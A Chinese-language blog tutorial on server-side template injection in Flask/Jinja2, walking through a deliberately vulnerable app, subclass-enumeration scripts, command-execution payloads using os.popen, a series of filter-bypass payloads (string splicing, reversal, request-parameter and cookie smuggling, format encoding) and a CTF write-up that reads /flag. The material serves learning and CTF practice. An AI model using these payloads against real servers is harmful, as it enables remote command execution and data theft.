Hi,大家好,我是编程小6,很荣幸遇见你,我把这些年在开发过程中遇到的问题或想法写出来,今天说一说学习ssti,希望能够帮助你!!!。
ssti也叫做模板注入
当不正确的使用模板引擎进行渲染时,则会造成模板注入
比如render_template_string函数,当参数可控时,会造成模板注入
在Python的ssti中,大部分是依靠基类->子类->危险函数的方式来利用ssti
python沙箱逃逸总结 这是别人的文章
__class__ 返回对象所属的类
__bases__以元组的形式返回一个类所直接继承的类
__base__以字符串返回一个类所直接继承的类。
__mro__返回解析方法调用的顺序。
__subclasses__()获取类的所有子类。
__init__所有自带类都包含init方法,便于利用他当跳板来调用globals。
__globals__
function.__globals__,用于获取function所处空间下可使用的module、方法以及所有变量。
我们如何利用这些来进行执行命令呢
from flask import Flask, request, render_template_string app = Flask(__name__) @app.route('/flag/') def flag(): code = request.args.get('id') html = ''' hello, do you have id ? , %s ''' % code return render_template_string(html) if __name__ == '__main__': app.run(host='127.0.0.1' , port='5000')
返回''所属的类,我们的目的是获取到它的基类,Object,使用__base__,__bases__,__mro__殊途同归
控制结构 {% %}
变量取值 {
{ }}
注释 {# #}
获取到基类后,在通过基类获取到它下面所有的子类,
可以寻找catch_warnings因为catch_warning是function具有__globals__
寻找到function即可,我这边习惯找catch_warnings
在本地寻找的脚本
import jinja2 num=0 for i in ''.__class__.__base__.__subclasses__(): if 'catch_warnings' in str(i): print(num) num=num+1
我们在__globals__的属性__builtins__里面发现了很多函数
比如说__import__,eval函数我们可以调用这些来getshell
调用__import__声明os库,使用popen函数执行命令,read读取到页面上
又比如说通过eval函数调用__import__
既然在本地打通了,我们尝试开启靶机,在web页面尝试
看到这个场景,我们使用索引,一个一个取数就不太现实,有两个方法
一个通过jinja2的{%%}语句
一个通过python来寻找
import requests for i in range(1,300): url="http://127.0.0.1:5000/flag/?id={ {%27%27.__class__.__mro__[1].__subclasses__()["+str(i)+"]}}" r=requests.get(url) if "catch_warnings" in r.text: print(i)
然后我们可以去通过使用函数getshell了
还有一种就是通过jinja2的语句控制
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %} { {c.__init__.__globals__['__builtins__']['__import__']('os').popen("dir").read()}} {% endif %} {% endfor %}
当然还有一种办法就是它预定义好的
http://127.0.0.1:5000/flag/?id={ {x.__init__.__globals__.__builtins__.__import__('os').popen('dir').read()}} http://127.0.0.1:5000/flag/?id={ {config.__init__.__globals__.__builtins__.__import__('os').popen('dir').read()}}
也可以用这个语句读取放在环境中的变量
{
{url_for.__globals__['current_app'].config}}
web有注入的地方就会有正则的存在
from flask import Flask, request, render_template_string import re app = Flask(__name__) @app.route('/flag/') def flag(): code = request.args.get('id') if re.match('__class__',code): html="checked" else: html = ''' hello, do you have id ? , %s ''' % code return render_template_string(html) if __name__ == '__main__': app.run(host='127.0.0.1' , port='5000')
我们看到正则过滤了__class__,我们应该如何绕过呢
首先知道 ''.__class__和''['__class__']是一样的效果,我们可以通过
['__cla'+'ss__']如绕过__class__的限制
http://127.0.0.1:5000/flag/?id={ {''['__cl'+'ass__']['__base__']['__subclasses__']()[220]['__init__']['__globals__']['__builtins__']['__import__']('os').popen('dir').read()}}
我们也可以使用倒序[::-1]来进行绕过
http://127.0.0.1:5000/flag/?id={ {''['__ssalc__'[::-1]]['__base__']['__subclasses__']()[220]['__init__']['__globals__']['__builtins__']['__import__']('os').popen('dir').read()}}
也可以使用flask框架的request函数
get: request.args.x //GET形式传递x
post: request.forms.x //POST形式传递x
cookie: request.cookies.x //COOKIE传递x
get方式绕过
url: http://127.0.0.1:5000/flag/?id={
{''[request.args.x][request.args.x1][request.args.x2]()[220][request.args.x3][request.args.x4][request.args.x5].eval(request.args.x6)}}
get: x=__class__&x1=__base__&x2=__subclasses__&x3=__init__&x4=__globals__&x5=__builtins__&x6=__import__('os').popen('dir').read()
http://127.0.0.1:5000/flag/?id={ {''[request.args.x][request.args.x1][request.args.x2]()[220][request.args.x3][request.args.x4][request.args.x5].eval(request.args.x6)}}&x=__class__&x1=__base__&x2=__subclasses__&x3=__init__&x4=__globals__&x5=__builtins__&x6=__import__('os').popen('dir').read()
post:
不允许的方式
cookie:
url=http://127.0.0.1:5000/flag/?id={
{''[request.cookies.x][request.cookies.x1][request.cookies.x2]()[220][request.cookies.x3][request.cookies.x4][request.cookies.x5].eval(request.cookies.x6)}}
cookie:x=__class__;x1=__base__;x2=__subclasses__;x3=__init__;x4=__globals__;x5=__builtins__;x6=__import__('os').popen('dir').read()
编码绕过:
"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'
http://127.0.0.1:5000/flag/?id={ {''["{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)].__base__.__subclasses__()[220].__init__.__globals__['__builtins__'].__import__('os').popen('dir').read()}}
join绕过:
[1,2,3]|join
{% set a=['__','class','__']|join %}{ {''[a].__base__.__subclasses__()[220].__init__.__globals__.__builtins__.__import__('os').popen('dir').read()}}
我们也可以利用函数直接绕过__class__的限制
http://127.0.0.1:5000/flag/?id={ {x.__init__.__globals__.__builtins__.__import__('os').popen('dir').read()}}
通过拼接绕过
http://127.0.0.1:5000/flag/?id={% set a=(()|select|string)[24]~(()|select|string)[24]~(()|select|string)[15]~(()|select|string)[20]~(()|select|string)[6]~(()|select|string)[18]~(()|select|string)[18]~(()|select|string)[24]~(()|select|string)[24] %}{ {''[a].__base__.__subclasses__()[220].__init__.__globals__.__builtins__.__import__('os').popen('dir').read()}}
绕过暂时就写道这里吧:
我们进入实战的一些题目吧
args也被禁了
cookies传参可以使用
引号也被禁了
简单的绕过
url={
{x.__init__.__globals__.__builtins__.__import__(request.cookies.x).popen(request.cookies.x1).read()}}
cookie: x=os;x1=ls /
在往后面就不礼貌了,也看不懂了
分析一下大佬的wp吧
http://ec6b99bb-953a-4e28-8962-084bda49c739.chall.ctf.show/ ?name= {% set po=dict(po=a,p=a)|join%} //获取pop函数,通过join {% set a=(()|select|string|list)|attr(po)(24)%} //利用pop(xx)代替[xx]获取_ {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} //拼接__init__ {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} //拼接__globals__ {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} //拼接__getitem__ {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} //拼接__builtins__ {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} //拼接(q|attr('__init__')|attr('__globals__')|attr('__getitem__'))('__builtins__') {% set chr=x.chr%} //获取chr函数 {% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} //利用chr拼接/flag {%print(x.open(file).read())%} //利用__builtins__的open函数读取
今天的分享到此就结束了,感谢您的阅读,如果确实帮到您,您可以动动手指转发给其他人。
上一篇
已是最后文章
下一篇
已是最新文章